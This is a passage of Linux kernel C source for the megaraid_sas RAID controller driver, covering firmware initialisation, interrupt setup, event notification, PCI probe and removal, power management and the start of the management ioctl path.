instance->base_addr = pci_resource_start(instance->pdev, instance->bar); if (pci_request_selected_regions(instance->pdev, instance->bar, "megasas: LSI")) { printk(KERN_DEBUG "megasas: IO memory region busy!\n"); return -EBUSY; } instance->reg_set = ioremap_nocache(instance->base_addr, 8192); if (!instance->reg_set) { printk(KERN_DEBUG "megasas: Failed to map IO mem\n"); goto fail_ioremap; } reg_set = instance->reg_set; switch (instance->pdev->device) { case PCI_DEVICE_ID_LSI_FUSION: case PCI_DEVICE_ID_LSI_INVADER: instance->instancet = &megasas_instance_template_fusion; break; case PCI_DEVICE_ID_LSI_SAS1078R: case PCI_DEVICE_ID_LSI_SAS1078DE: instance->instancet = &megasas_instance_template_ppc; break; case PCI_DEVICE_ID_LSI_SAS1078GEN2: case PCI_DEVICE_ID_LSI_SAS0079GEN2: instance->instancet = &megasas_instance_template_gen2; break; case PCI_DEVICE_ID_LSI_SAS0073SKINNY: case PCI_DEVICE_ID_LSI_SAS0071SKINNY: instance->instancet = &megasas_instance_template_skinny; break; case PCI_DEVICE_ID_LSI_SAS1064R: case PCI_DEVICE_ID_DELL_PERC5: default: instance->instancet = &megasas_instance_template_xscale; break; } if (megasas_transition_to_ready(instance, 0)) { atomic_set(&instance->fw_reset_no_pci_access, 1); instance->instancet->adp_reset (instance, instance->reg_set); atomic_set(&instance->fw_reset_no_pci_access, 0); dev_info(&instance->pdev->dev, "megasas: FW restarted successfully from %s!\n", __func__); /*waitting for about 30 second before retry*/ ssleep(30); if (megasas_transition_to_ready(instance, 0)) goto fail_ready_state; } /* Check if MSI-X is supported while in ready state */ msix_enable = (instance->instancet->read_fw_status_reg(reg_set) & 0x4000000) >> 0x1a; if (msix_enable && !msix_disable) { /* Check max MSI-X vectors */ if ((instance->pdev->device == PCI_DEVICE_ID_LSI_FUSION) || (instance->pdev->device == PCI_DEVICE_ID_LSI_INVADER)) { instance->msix_vectors = (readl(&instance->reg_set-> outbound_scratch_pad_2 ) & 0x1F) + 1; if (msix_vectors) instance->msix_vectors = min(msix_vectors, instance->msix_vectors); } else instance->msix_vectors = 1; /* Don't bother allocating more MSI-X vectors than cpus */ instance->msix_vectors = min(instance->msix_vectors, (unsigned int)num_online_cpus()); for (i = 0; i < instance->msix_vectors; i++) instance->msixentry[i].entry = i; i = pci_enable_msix(instance->pdev, instance->msixentry, instance->msix_vectors); if (i >= 0) { if (i) { if (!pci_enable_msix(instance->pdev, instance->msixentry, i)) instance->msix_vectors = i; else instance->msix_vectors = 0; } } else instance->msix_vectors = 0; } /* Get operational params, sge flags, send init cmd to controller */ if (instance->instancet->init_adapter(instance)) goto fail_init_adapter; printk(KERN_ERR "megasas: INIT adapter done\n"); /** for passthrough * the following function will get the PD LIST. */ memset(instance->pd_list, 0 , (MEGASAS_MAX_PD * sizeof(struct megasas_pd_list))); megasas_get_pd_list(instance); memset(instance->ld_ids, 0xff, MEGASAS_MAX_LD_IDS); megasas_get_ld_list(instance); ctrl_info = kmalloc(sizeof(struct megasas_ctrl_info), GFP_KERNEL); /* * Compute the max allowed sectors per IO: The controller info has two * limits on max sectors. Driver should use the minimum of these two. * * 1 << stripe_sz_ops.min = max sectors per strip * * Note that older firmwares ( < FW ver 30) didn't report information * to calculate max_sectors_1. So the number ended up as zero always. */ tmp_sectors = 0; if (ctrl_info && !megasas_get_ctrl_info(instance, ctrl_info)) { max_sectors_1 = (1 << ctrl_info->stripe_sz_ops.min) * ctrl_info->max_strips_per_io; max_sectors_2 = ctrl_info->max_request_size; tmp_sectors = min_t(u32, max_sectors_1 , max_sectors_2); instance->disableOnlineCtrlReset = ctrl_info->properties.OnOffProperties.disableOnlineCtrlReset; } instance->max_sectors_per_req = instance->max_num_sge * PAGE_SIZE / 512; if (tmp_sectors && (instance->max_sectors_per_req > tmp_sectors)) instance->max_sectors_per_req = tmp_sectors; kfree(ctrl_info); /* Check for valid throttlequeuedepth module parameter */ if (instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0073SKINNY || instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0071SKINNY) { if (throttlequeuedepth > (instance->max_fw_cmds - MEGASAS_SKINNY_INT_CMDS)) instance->throttlequeuedepth = MEGASAS_THROTTLE_QUEUE_DEPTH; else instance->throttlequeuedepth = throttlequeuedepth; } else { if (throttlequeuedepth > (instance->max_fw_cmds - MEGASAS_INT_CMDS)) instance->throttlequeuedepth = MEGASAS_THROTTLE_QUEUE_DEPTH; else instance->throttlequeuedepth = throttlequeuedepth; } /* * Setup tasklet for cmd completion */ tasklet_init(&instance->isr_tasklet, instance->instancet->tasklet, (unsigned long)instance); return 0; fail_init_adapter: fail_ready_state: iounmap(instance->reg_set); fail_ioremap: pci_release_selected_regions(instance->pdev, instance->bar); return -EINVAL; } /** * megasas_release_mfi - Reverses the FW initialization * @intance: Adapter soft state */ static void megasas_release_mfi(struct megasas_instance *instance) { u32 reply_q_sz = sizeof(u32) *(instance->max_mfi_cmds + 1); if (instance->reply_queue) pci_free_consistent(instance->pdev, reply_q_sz, instance->reply_queue, instance->reply_queue_h); megasas_free_cmds(instance); iounmap(instance->reg_set); pci_release_selected_regions(instance->pdev, instance->bar); } /** * megasas_get_seq_num - Gets latest event sequence numbers * @instance: Adapter soft state * @eli: FW event log sequence numbers information * * FW maintains a log of all events in a non-volatile area. Upper layers would * usually find out the latest sequence number of the events, the seq number at * the boot etc. They would "read" all the events below the latest seq number * by issuing a direct fw cmd (DCMD). For the future events (beyond latest seq * number), they would subsribe to AEN (asynchronous event notification) and * wait for the events to happen. */ static int megasas_get_seq_num(struct megasas_instance *instance, struct megasas_evt_log_info *eli) { struct megasas_cmd *cmd; struct megasas_dcmd_frame *dcmd; struct megasas_evt_log_info *el_info; dma_addr_t el_info_h = 0; cmd = megasas_get_cmd(instance); if (!cmd) { return -ENOMEM; } dcmd = &cmd->frame->dcmd; el_info = pci_alloc_consistent(instance->pdev, sizeof(struct megasas_evt_log_info), &el_info_h); if (!el_info) { megasas_return_cmd(instance, cmd); return -ENOMEM; } memset(el_info, 0, sizeof(*el_info)); memset(dcmd->mbox.b, 0, MFI_MBOX_SIZE); dcmd->cmd = MFI_CMD_DCMD; dcmd->cmd_status = 0x0; dcmd->sge_count = 1; dcmd->flags = MFI_FRAME_DIR_READ; dcmd->timeout = 0; dcmd->pad_0 = 0; dcmd->data_xfer_len = sizeof(struct megasas_evt_log_info); dcmd->opcode = MR_DCMD_CTRL_EVENT_GET_INFO; dcmd->sgl.sge32[0].phys_addr = el_info_h; dcmd->sgl.sge32[0].length = sizeof(struct megasas_evt_log_info); megasas_issue_blocked_cmd(instance, cmd); /* * Copy the data back into callers buffer */ memcpy(eli, el_info, sizeof(struct megasas_evt_log_info)); pci_free_consistent(instance->pdev, sizeof(struct megasas_evt_log_info), el_info, el_info_h); megasas_return_cmd(instance, cmd); return 0; } /** * megasas_register_aen - Registers for asynchronous event notification * @instance: Adapter soft state * @seq_num: The starting sequence number * @class_locale: Class of the event * * This function subscribes for AEN for events beyond the @seq_num. It requests * to be notified if and only if the event is of type @class_locale */ static int megasas_register_aen(struct megasas_instance *instance, u32 seq_num, u32 class_locale_word) { int ret_val; struct megasas_cmd *cmd; struct megasas_dcmd_frame *dcmd; union megasas_evt_class_locale curr_aen; union megasas_evt_class_locale prev_aen; /* * If there an AEN pending already (aen_cmd), check if the * class_locale of that pending AEN is inclusive of the new * AEN request we currently have. If it is, then we don't have * to do anything. In other words, whichever events the current * AEN request is subscribing to, have already been subscribed * to. * * If the old_cmd is _not_ inclusive, then we have to abort * that command, form a class_locale that is superset of both * old and current and re-issue to the FW */ curr_aen.word = class_locale_word; if (instance->aen_cmd) { prev_aen.word = instance->aen_cmd->frame->dcmd.mbox.w[1]; /* * A class whose enum value is smaller is inclusive of all * higher values. If a PROGRESS (= -1) was previously * registered, then a new registration requests for higher * classes need not be sent to FW. They are automatically * included. * * Locale numbers don't have such hierarchy. They are bitmap * values */ if ((prev_aen.members.class <= curr_aen.members.class) && !((prev_aen.members.locale & curr_aen.members.locale) ^ curr_aen.members.locale)) { /* * Previously issued event registration includes * current request. Nothing to do. */ return 0; } else { curr_aen.members.locale |= prev_aen.members.locale; if (prev_aen.members.class < curr_aen.members.class) curr_aen.members.class = prev_aen.members.class; instance->aen_cmd->abort_aen = 1; ret_val = megasas_issue_blocked_abort_cmd(instance, instance-> aen_cmd); if (ret_val) { printk(KERN_DEBUG "megasas: Failed to abort " "previous AEN command\n"); return ret_val; } } } cmd = megasas_get_cmd(instance); if (!cmd) return -ENOMEM; dcmd = &cmd->frame->dcmd; memset(instance->evt_detail, 0, sizeof(struct megasas_evt_detail)); /* * Prepare DCMD for aen registration */ memset(dcmd->mbox.b, 0, MFI_MBOX_SIZE); dcmd->cmd = MFI_CMD_DCMD; dcmd->cmd_status = 0x0; dcmd->sge_count = 1; dcmd->flags = MFI_FRAME_DIR_READ; dcmd->timeout = 0; dcmd->pad_0 = 0; instance->last_seq_num = seq_num; dcmd->data_xfer_len = sizeof(struct megasas_evt_detail); dcmd->opcode = MR_DCMD_CTRL_EVENT_WAIT; dcmd->mbox.w[0] = seq_num; dcmd->mbox.w[1] = curr_aen.word; dcmd->sgl.sge32[0].phys_addr = (u32) instance->evt_detail_h; dcmd->sgl.sge32[0].length = sizeof(struct megasas_evt_detail); if (instance->aen_cmd != NULL) { megasas_return_cmd(instance, cmd); return 0; } /* * Store reference to the cmd used to register for AEN. When an * application wants us to register for AEN, we have to abort this * cmd and re-register with a new EVENT LOCALE supplied by that app */ instance->aen_cmd = cmd; /* * Issue the aen registration frame */ instance->instancet->issue_dcmd(instance, cmd); return 0; } /** * megasas_start_aen - Subscribes to AEN during driver load time * @instance: Adapter soft state */ static int megasas_start_aen(struct megasas_instance *instance) { struct megasas_evt_log_info eli; union megasas_evt_class_locale class_locale; /* * Get the latest sequence number from FW */ memset(&eli, 0, sizeof(eli)); if (megasas_get_seq_num(instance, &eli)) return -1; /* * Register AEN with FW for latest sequence number plus 1 */ class_locale.members.reserved = 0; class_locale.members.locale = MR_EVT_LOCALE_ALL; class_locale.members.class = MR_EVT_CLASS_DEBUG; return megasas_register_aen(instance, eli.newest_seq_num + 1, class_locale.word); } /** * megasas_io_attach - Attaches this driver to SCSI mid-layer * @instance: Adapter soft state */ static int megasas_io_attach(struct megasas_instance *instance) { struct Scsi_Host *host = instance->host; /* * Export parameters required by SCSI mid-layer */ host->irq = instance->pdev->irq; host->unique_id = instance->unique_id; if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0073SKINNY) || (instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0071SKINNY)) { host->can_queue = instance->max_fw_cmds - MEGASAS_SKINNY_INT_CMDS; } else host->can_queue = instance->max_fw_cmds - MEGASAS_INT_CMDS; host->this_id = instance->init_id; host->sg_tablesize = instance->max_num_sge; if (instance->fw_support_ieee) instance->max_sectors_per_req = MEGASAS_MAX_SECTORS_IEEE; /* * Check if the module parameter value for max_sectors can be used */ if (max_sectors && max_sectors < instance->max_sectors_per_req) instance->max_sectors_per_req = max_sectors; else { if (max_sectors) { if (((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS1078GEN2) || (instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0079GEN2)) && (max_sectors <= MEGASAS_MAX_SECTORS)) { instance->max_sectors_per_req = max_sectors; } else { printk(KERN_INFO "megasas: max_sectors should be > 0" "and <= %d (or < 1MB for GEN2 controller)\n", instance->max_sectors_per_req); } } } host->max_sectors = instance->max_sectors_per_req; host->cmd_per_lun = MEGASAS_DEFAULT_CMD_PER_LUN; host->max_channel = MEGASAS_MAX_CHANNELS - 1; host->max_id = MEGASAS_MAX_DEV_PER_CHANNEL; host->max_lun = MEGASAS_MAX_LUN; host->max_cmd_len = 16; /* Fusion only supports host reset */ if ((instance->pdev->device == PCI_DEVICE_ID_LSI_FUSION) || (instance->pdev->device == PCI_DEVICE_ID_LSI_INVADER)) { host->hostt->eh_device_reset_handler = NULL; host->hostt->eh_bus_reset_handler = NULL; } /* * Notify the mid-layer about the new controller */ if (scsi_add_host(host, &instance->pdev->dev)) { printk(KERN_DEBUG "megasas: scsi_add_host failed\n"); return -ENODEV; } /* * Trigger SCSI to scan our drives */ scsi_scan_host(host); return 0; } static int megasas_set_dma_mask(struct pci_dev *pdev) { /* * All our contollers are capable of performing 64-bit DMA */ if (IS_DMA64) { if (pci_set_dma_mask(pdev, DMA_BIT_MASK(64)) != 0) { if (pci_set_dma_mask(pdev, DMA_BIT_MASK(32)) != 0) goto fail_set_dma_mask; } } else { if (pci_set_dma_mask(pdev, DMA_BIT_MASK(32)) != 0) goto fail_set_dma_mask; } return 0; fail_set_dma_mask: return 1; } /** * megasas_probe_one - PCI hotplug entry point * @pdev: PCI device structure * @id: PCI ids of supported hotplugged adapter */ static int __devinit megasas_probe_one(struct pci_dev *pdev, const struct pci_device_id *id) { int rval, pos, i, j; struct Scsi_Host *host; struct megasas_instance *instance; u16 control = 0; /* Reset MSI-X in the kdump kernel */ if (reset_devices) { pos = pci_find_capability(pdev, PCI_CAP_ID_MSIX); if (pos) { pci_read_config_word(pdev, msi_control_reg(pos), &control); if (control & PCI_MSIX_FLAGS_ENABLE) { dev_info(&pdev->dev, "resetting MSI-X\n"); pci_write_config_word(pdev, msi_control_reg(pos), control & ~PCI_MSIX_FLAGS_ENABLE); } } } /* * Announce PCI information */ printk(KERN_INFO "megasas: %#4.04x:%#4.04x:%#4.04x:%#4.04x: ", pdev->vendor, pdev->device, pdev->subsystem_vendor, pdev->subsystem_device); printk("bus %d:slot %d:func %d\n", pdev->bus->number, PCI_SLOT(pdev->devfn), PCI_FUNC(pdev->devfn)); /* * PCI prepping: enable device set bus mastering and dma mask */ rval = pci_enable_device_mem(pdev); if (rval) { return rval; } pci_set_master(pdev); if (megasas_set_dma_mask(pdev)) goto fail_set_dma_mask; host = scsi_host_alloc(&megasas_template, sizeof(struct megasas_instance)); if (!host) { printk(KERN_DEBUG "megasas: scsi_host_alloc failed\n"); goto fail_alloc_instance; } instance = (struct megasas_instance *)host->hostdata; memset(instance, 0, sizeof(*instance)); atomic_set( &instance->fw_reset_no_pci_access, 0 ); instance->pdev = pdev; switch (instance->pdev->device) { case PCI_DEVICE_ID_LSI_FUSION: case PCI_DEVICE_ID_LSI_INVADER: { struct fusion_context *fusion; instance->ctrl_context = kzalloc(sizeof(struct fusion_context), GFP_KERNEL); if (!instance->ctrl_context) { printk(KERN_DEBUG "megasas: Failed to allocate " "memory for Fusion context info\n"); goto fail_alloc_dma_buf; } fusion = instance->ctrl_context; INIT_LIST_HEAD(&fusion->cmd_pool); spin_lock_init(&fusion->cmd_pool_lock); } break; default: /* For all other supported controllers */ instance->producer = pci_alloc_consistent(pdev, sizeof(u32), &instance->producer_h); instance->consumer = pci_alloc_consistent(pdev, sizeof(u32), &instance->consumer_h); if (!instance->producer || !instance->consumer) { printk(KERN_DEBUG "megasas: Failed to allocate" "memory for producer, consumer\n"); goto fail_alloc_dma_buf; } *instance->producer = 0; *instance->consumer = 0; break; } megasas_poll_wait_aen = 0; instance->flag_ieee = 0; instance->ev = NULL; instance->issuepend_done = 1; instance->adprecovery = MEGASAS_HBA_OPERATIONAL; megasas_poll_wait_aen = 0; instance->evt_detail = pci_alloc_consistent(pdev, sizeof(struct megasas_evt_detail), &instance->evt_detail_h); if (!instance->evt_detail) { printk(KERN_DEBUG "megasas: Failed to allocate memory for " "event detail structure\n"); goto fail_alloc_dma_buf; } /* * Initialize locks and queues */ INIT_LIST_HEAD(&instance->cmd_pool); INIT_LIST_HEAD(&instance->internal_reset_pending_q); atomic_set(&instance->fw_outstanding,0); init_waitqueue_head(&instance->int_cmd_wait_q); init_waitqueue_head(&instance->abort_cmd_wait_q); spin_lock_init(&instance->cmd_pool_lock); spin_lock_init(&instance->hba_lock); spin_lock_init(&instance->completion_lock); mutex_init(&instance->aen_mutex); mutex_init(&instance->reset_mutex); /* * Initialize PCI related and misc parameters */ instance->host = host; instance->unique_id = pdev->bus->number << 8 | pdev->devfn; instance->init_id = MEGASAS_DEFAULT_INIT_ID; if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0073SKINNY) || (instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0071SKINNY)) { instance->flag_ieee = 1; sema_init(&instance->ioctl_sem, MEGASAS_SKINNY_INT_CMDS); } else sema_init(&instance->ioctl_sem, MEGASAS_INT_CMDS); megasas_dbg_lvl = 0; instance->flag = 0; instance->unload = 1; instance->last_time = 0; instance->disableOnlineCtrlReset = 1; if ((instance->pdev->device == PCI_DEVICE_ID_LSI_FUSION) || (instance->pdev->device == PCI_DEVICE_ID_LSI_INVADER)) INIT_WORK(&instance->work_init, megasas_fusion_ocr_wq); else INIT_WORK(&instance->work_init, process_fw_state_change_wq); /* * Initialize MFI Firmware */ if (megasas_init_fw(instance)) goto fail_init_mfi; /* * Register IRQ */ if (instance->msix_vectors) { for (i = 0 ; i < instance->msix_vectors; i++) { instance->irq_context[i].instance = instance; instance->irq_context[i].MSIxIndex = i; if (request_irq(instance->msixentry[i].vector, instance->instancet->service_isr, 0, "megasas", &instance->irq_context[i])) { printk(KERN_DEBUG "megasas: Failed to " "register IRQ for vector %d.\n", i); for (j = 0 ; j < i ; j++) free_irq( instance->msixentry[j].vector, &instance->irq_context[j]); goto fail_irq; } } } else { instance->irq_context[0].instance = instance; instance->irq_context[0].MSIxIndex = 0; if (request_irq(pdev->irq, instance->instancet->service_isr, IRQF_SHARED, "megasas", &instance->irq_context[0])) { printk(KERN_DEBUG "megasas: Failed to register IRQ\n"); goto fail_irq; } } instance->instancet->enable_intr(instance->reg_set); /* * Store instance in PCI softstate */ pci_set_drvdata(pdev, instance); /* * Add this controller to megasas_mgmt_info structure so that it * can be exported to management applications */ megasas_mgmt_info.count++; megasas_mgmt_info.instance[megasas_mgmt_info.max_index] = instance; megasas_mgmt_info.max_index++; /* * Register with SCSI mid-layer */ if (megasas_io_attach(instance)) goto fail_io_attach; instance->unload = 0; /* * Initiate AEN (Asynchronous Event Notification) */ if (megasas_start_aen(instance)) { printk(KERN_DEBUG "megasas: start aen failed\n"); goto fail_start_aen; } return 0; fail_start_aen: fail_io_attach: megasas_mgmt_info.count--; megasas_mgmt_info.instance[megasas_mgmt_info.max_index] = NULL; megasas_mgmt_info.max_index--; pci_set_drvdata(pdev, NULL); instance->instancet->disable_intr(instance->reg_set); if (instance->msix_vectors) for (i = 0 ; i < instance->msix_vectors; i++) free_irq(instance->msixentry[i].vector, &instance->irq_context[i]); else free_irq(instance->pdev->irq, &instance->irq_context[0]); fail_irq: if ((instance->pdev->device == PCI_DEVICE_ID_LSI_FUSION) || (instance->pdev->device == PCI_DEVICE_ID_LSI_INVADER)) megasas_release_fusion(instance); else megasas_release_mfi(instance); fail_init_mfi: if (instance->msix_vectors) pci_disable_msix(instance->pdev); fail_alloc_dma_buf: if (instance->evt_detail) pci_free_consistent(pdev, sizeof(struct megasas_evt_detail), instance->evt_detail, instance->evt_detail_h); if (instance->producer) pci_free_consistent(pdev, sizeof(u32), instance->producer, instance->producer_h); if (instance->consumer) pci_free_consistent(pdev, sizeof(u32), instance->consumer, instance->consumer_h); scsi_host_put(host); fail_alloc_instance: fail_set_dma_mask: pci_disable_device(pdev); return -ENODEV; } /** * megasas_flush_cache - Requests FW to flush all its caches * @instance: Adapter soft state */ static void megasas_flush_cache(struct megasas_instance *instance) { struct megasas_cmd *cmd; struct megasas_dcmd_frame *dcmd; if (instance->adprecovery == MEGASAS_HW_CRITICAL_ERROR) return; cmd = megasas_get_cmd(instance); if (!cmd) return; dcmd = &cmd->frame->dcmd; memset(dcmd->mbox.b, 0, MFI_MBOX_SIZE); dcmd->cmd = MFI_CMD_DCMD; dcmd->cmd_status = 0x0; dcmd->sge_count = 0; dcmd->flags = MFI_FRAME_DIR_NONE; dcmd->timeout = 0; dcmd->pad_0 = 0; dcmd->data_xfer_len = 0; dcmd->opcode = MR_DCMD_CTRL_CACHE_FLUSH; dcmd->mbox.b[0] = MR_FLUSH_CTRL_CACHE | MR_FLUSH_DISK_CACHE; megasas_issue_blocked_cmd(instance, cmd); megasas_return_cmd(instance, cmd); return; } /** * megasas_shutdown_controller - Instructs FW to shutdown the controller * @instance: Adapter soft state * @opcode: Shutdown/Hibernate */ static void megasas_shutdown_controller(struct megasas_instance *instance, u32 opcode) { struct megasas_cmd *cmd; struct megasas_dcmd_frame *dcmd; if (instance->adprecovery == MEGASAS_HW_CRITICAL_ERROR) return; cmd = megasas_get_cmd(instance); if (!cmd) return; if (instance->aen_cmd) megasas_issue_blocked_abort_cmd(instance, instance->aen_cmd); if (instance->map_update_cmd) megasas_issue_blocked_abort_cmd(instance, instance->map_update_cmd); dcmd = &cmd->frame->dcmd; memset(dcmd->mbox.b, 0, MFI_MBOX_SIZE); dcmd->cmd = MFI_CMD_DCMD; dcmd->cmd_status = 0x0; dcmd->sge_count = 0; dcmd->flags = MFI_FRAME_DIR_NONE; dcmd->timeout = 0; dcmd->pad_0 = 0; dcmd->data_xfer_len = 0; dcmd->opcode = opcode; megasas_issue_blocked_cmd(instance, cmd); megasas_return_cmd(instance, cmd); return; } #ifdef CONFIG_PM /** * megasas_suspend - driver suspend entry point * @pdev: PCI device structure * @state: PCI power state to suspend routine */ static int megasas_suspend(struct pci_dev *pdev, pm_message_t state) { struct Scsi_Host *host; struct megasas_instance *instance; int i; instance = pci_get_drvdata(pdev); host = instance->host; instance->unload = 1; megasas_flush_cache(instance); megasas_shutdown_controller(instance, MR_DCMD_HIBERNATE_SHUTDOWN); /* cancel the delayed work if this work still in queue */ if (instance->ev != NULL) { struct megasas_aen_event *ev = instance->ev; cancel_delayed_work( (struct delayed_work *)&ev->hotplug_work); flush_scheduled_work(); instance->ev = NULL; } tasklet_kill(&instance->isr_tasklet); pci_set_drvdata(instance->pdev, instance); instance->instancet->disable_intr(instance->reg_set); if (instance->msix_vectors) for (i = 0 ; i < instance->msix_vectors; i++) free_irq(instance->msixentry[i].vector, &instance->irq_context[i]); else free_irq(instance->pdev->irq, &instance->irq_context[0]); if (instance->msix_vectors) pci_disable_msix(instance->pdev); pci_save_state(pdev); pci_disable_device(pdev); pci_set_power_state(pdev, pci_choose_state(pdev, state)); return 0; } /** * megasas_resume- driver resume entry point * @pdev: PCI device structure */ static int megasas_resume(struct pci_dev *pdev) { int rval, i, j; struct Scsi_Host *host; struct megasas_instance *instance; instance = pci_get_drvdata(pdev); host = instance->host; pci_set_power_state(pdev, PCI_D0); pci_enable_wake(pdev, PCI_D0, 0); pci_restore_state(pdev); /* * PCI prepping: enable device set bus mastering and dma mask */ rval = pci_enable_device_mem(pdev); if (rval) { printk(KERN_ERR "megasas: Enable device failed\n"); return rval; } pci_set_master(pdev); if (megasas_set_dma_mask(pdev)) goto fail_set_dma_mask; /* * Initialize MFI Firmware */ atomic_set(&instance->fw_outstanding, 0); /* * We expect the FW state to be READY */ if (megasas_transition_to_ready(instance, 0)) goto fail_ready_state; /* Now re-enable MSI-X */ if (instance->msix_vectors) pci_enable_msix(instance->pdev, instance->msixentry, instance->msix_vectors); switch (instance->pdev->device) { case PCI_DEVICE_ID_LSI_FUSION: case PCI_DEVICE_ID_LSI_INVADER: { megasas_reset_reply_desc(instance); if (megasas_ioc_init_fusion(instance)) { megasas_free_cmds(instance); megasas_free_cmds_fusion(instance); goto fail_init_mfi; } if (!megasas_get_map_info(instance)) megasas_sync_map_info(instance); } break; default: *instance->producer = 0; *instance->consumer = 0; if (megasas_issue_init_mfi(instance)) goto fail_init_mfi; break; } tasklet_init(&instance->isr_tasklet, instance->instancet->tasklet, (unsigned long)instance); /* * Register IRQ */ if (instance->msix_vectors) { for (i = 0 ; i < instance->msix_vectors; i++) { instance->irq_context[i].instance = instance; instance->irq_context[i].MSIxIndex = i; if (request_irq(instance->msixentry[i].vector, instance->instancet->service_isr, 0, "megasas", &instance->irq_context[i])) { printk(KERN_DEBUG "megasas: Failed to " "register IRQ for vector %d.\n", i); for (j = 0 ; j < i ; j++) free_irq( instance->msixentry[j].vector, &instance->irq_context[j]); goto fail_irq; } } } else { instance->irq_context[0].instance = instance; instance->irq_context[0].MSIxIndex = 0; if (request_irq(pdev->irq, instance->instancet->service_isr, IRQF_SHARED, "megasas", &instance->irq_context[0])) { printk(KERN_DEBUG "megasas: Failed to register IRQ\n"); goto fail_irq; } } instance->instancet->enable_intr(instance->reg_set); instance->unload = 0; /* * Initiate AEN (Asynchronous Event Notification) */ if (megasas_start_aen(instance)) printk(KERN_ERR "megasas: Start AEN failed\n"); return 0; fail_irq: fail_init_mfi: if (instance->evt_detail) pci_free_consistent(pdev, sizeof(struct megasas_evt_detail), instance->evt_detail, instance->evt_detail_h); if (instance->producer) pci_free_consistent(pdev, sizeof(u32), instance->producer, instance->producer_h); if (instance->consumer) pci_free_consistent(pdev, sizeof(u32), instance->consumer, instance->consumer_h); scsi_host_put(host); fail_set_dma_mask: fail_ready_state: pci_disable_device(pdev); return -ENODEV; } #else #define megasas_suspend NULL #define megasas_resume NULL #endif /** * megasas_detach_one - PCI hot"un"plug entry point * @pdev: PCI device structure */ static void __devexit megasas_detach_one(struct pci_dev *pdev) { int i; struct Scsi_Host *host; struct megasas_instance *instance; struct fusion_context *fusion; instance = pci_get_drvdata(pdev); instance->unload = 1; host = instance->host; fusion = instance->ctrl_context; scsi_remove_host(instance->host); megasas_flush_cache(instance); megasas_shutdown_controller(instance, MR_DCMD_CTRL_SHUTDOWN); /* cancel the delayed work if this work still in queue*/ if (instance->ev != NULL) { struct megasas_aen_event *ev = instance->ev; cancel_delayed_work( (struct delayed_work *)&ev->hotplug_work); flush_scheduled_work(); instance->ev = NULL; } tasklet_kill(&instance->isr_tasklet); /* * Take the instance off the instance array. Note that we will not * decrement the max_index. We let this array be sparse array */ for (i = 0; i < megasas_mgmt_info.max_index; i++) { if (megasas_mgmt_info.instance[i] == instance) { megasas_mgmt_info.count--; megasas_mgmt_info.instance[i] = NULL; break; } } pci_set_drvdata(instance->pdev, NULL); instance->instancet->disable_intr(instance->reg_set); if (instance->msix_vectors) for (i = 0 ; i < instance->msix_vectors; i++) free_irq(instance->msixentry[i].vector, &instance->irq_context[i]); else free_irq(instance->pdev->irq, &instance->irq_context[0]); if (instance->msix_vectors) pci_disable_msix(instance->pdev); switch (instance->pdev->device) { case PCI_DEVICE_ID_LSI_FUSION: case PCI_DEVICE_ID_LSI_INVADER: megasas_release_fusion(instance); for (i = 0; i < 2 ; i++) if (fusion->ld_map[i]) dma_free_coherent(&instance->pdev->dev, fusion->map_sz, fusion->ld_map[i], fusion-> ld_map_phys[i]); kfree(instance->ctrl_context); break; default: megasas_release_mfi(instance); pci_free_consistent(pdev, sizeof(struct megasas_evt_detail), instance->evt_detail, instance->evt_detail_h); pci_free_consistent(pdev, sizeof(u32), instance->producer, instance->producer_h); pci_free_consistent(pdev, sizeof(u32), instance->consumer, instance->consumer_h); break; } scsi_host_put(host); pci_set_drvdata(pdev, NULL); pci_disable_device(pdev); return; } /** * megasas_shutdown - Shutdown entry point * @device: Generic device structure */ static void megasas_shutdown(struct pci_dev *pdev) { int i; struct megasas_instance *instance = pci_get_drvdata(pdev); instance->unload = 1; megasas_flush_cache(instance); megasas_shutdown_controller(instance, MR_DCMD_CTRL_SHUTDOWN); instance->instancet->disable_intr(instance->reg_set); if (instance->msix_vectors) for (i = 0 ; i < instance->msix_vectors; i++) free_irq(instance->msixentry[i].vector, &instance->irq_context[i]); else free_irq(instance->pdev->irq, &instance->irq_context[0]); if (instance->msix_vectors) pci_disable_msix(instance->pdev); } /** * megasas_mgmt_open - char node "open" entry point */ static int megasas_mgmt_open(struct inode *inode, struct file *filep) { /* * Allow only those users with admin rights */ if (!capable(CAP_SYS_ADMIN)) return -EACCES; return 0; } /** * megasas_mgmt_fasync - Async notifier registration from applications * * This function adds the calling process to a driver global queue. When an * event occurs, SIGIO will be sent to all processes in this queue. */ static int megasas_mgmt_fasync(int fd, struct file *filep, int mode) { int rc; mutex_lock(&megasas_async_queue_mutex); rc = fasync_helper(fd, filep, mode, &megasas_async_queue); mutex_unlock(&megasas_async_queue_mutex); if (rc >= 0) { /* For sanity check when we get ioctl */ filep->private_data = filep; return 0; } printk(KERN_DEBUG "megasas: fasync_helper failed [%d]\n", rc); return rc; } /** * megasas_mgmt_poll - char node "poll" entry point * */ static unsigned int megasas_mgmt_poll(struct file *file, poll_table *wait) { unsigned int mask; unsigned long flags; poll_wait(file, &megasas_poll_wait, wait); spin_lock_irqsave(&poll_aen_lock, flags); if (megasas_poll_wait_aen) mask = (POLLIN | POLLRDNORM); else mask = 0; spin_unlock_irqrestore(&poll_aen_lock, flags); return mask; } /** * megasas_mgmt_fw_ioctl - Issues management ioctls to FW * @instance: Adapter soft state * @argp: User's ioctl packet */ static int megasas_mgmt_fw_ioctl(struct megasas_instance *instance, struct megasas_iocpacket __user * user_ioc, struct megasas_iocpacket *ioc) { struct megasas_sge32 *kern_sge32; struct megasas_cmd *cmd; void *kbuff_arr[MAX_IOCTL_SGE]; dma_addr_t buf_handle = 0; int error = 0, i; void *sense = NULL; dma_addr_t sense_handle; unsigned long *sense_ptr; memset(kbuff_arr, 0, sizeof(kbuff_arr)); if (ioc->sge_count > MAX_IOCTL_SGE) { printk(KERN_DEBUG "megasas: SGE count [%d] > max limit [%d]\n", ioc->sge_count, MAX_IOCTL_SGE); return -EINVAL; } cmd = megasas_get_cmd(instance); if (!cmd) { printk(KERN_DEBUG "megasas: Failed to get a cmd packet\n"); return -ENOMEM; } /* * User's IOCTL packet has 2 frames (maximum). Copy those two * frames into our cmd's frames. cmd->frame's context will get * overwritten when we copy from user's frames. So set that value * alone 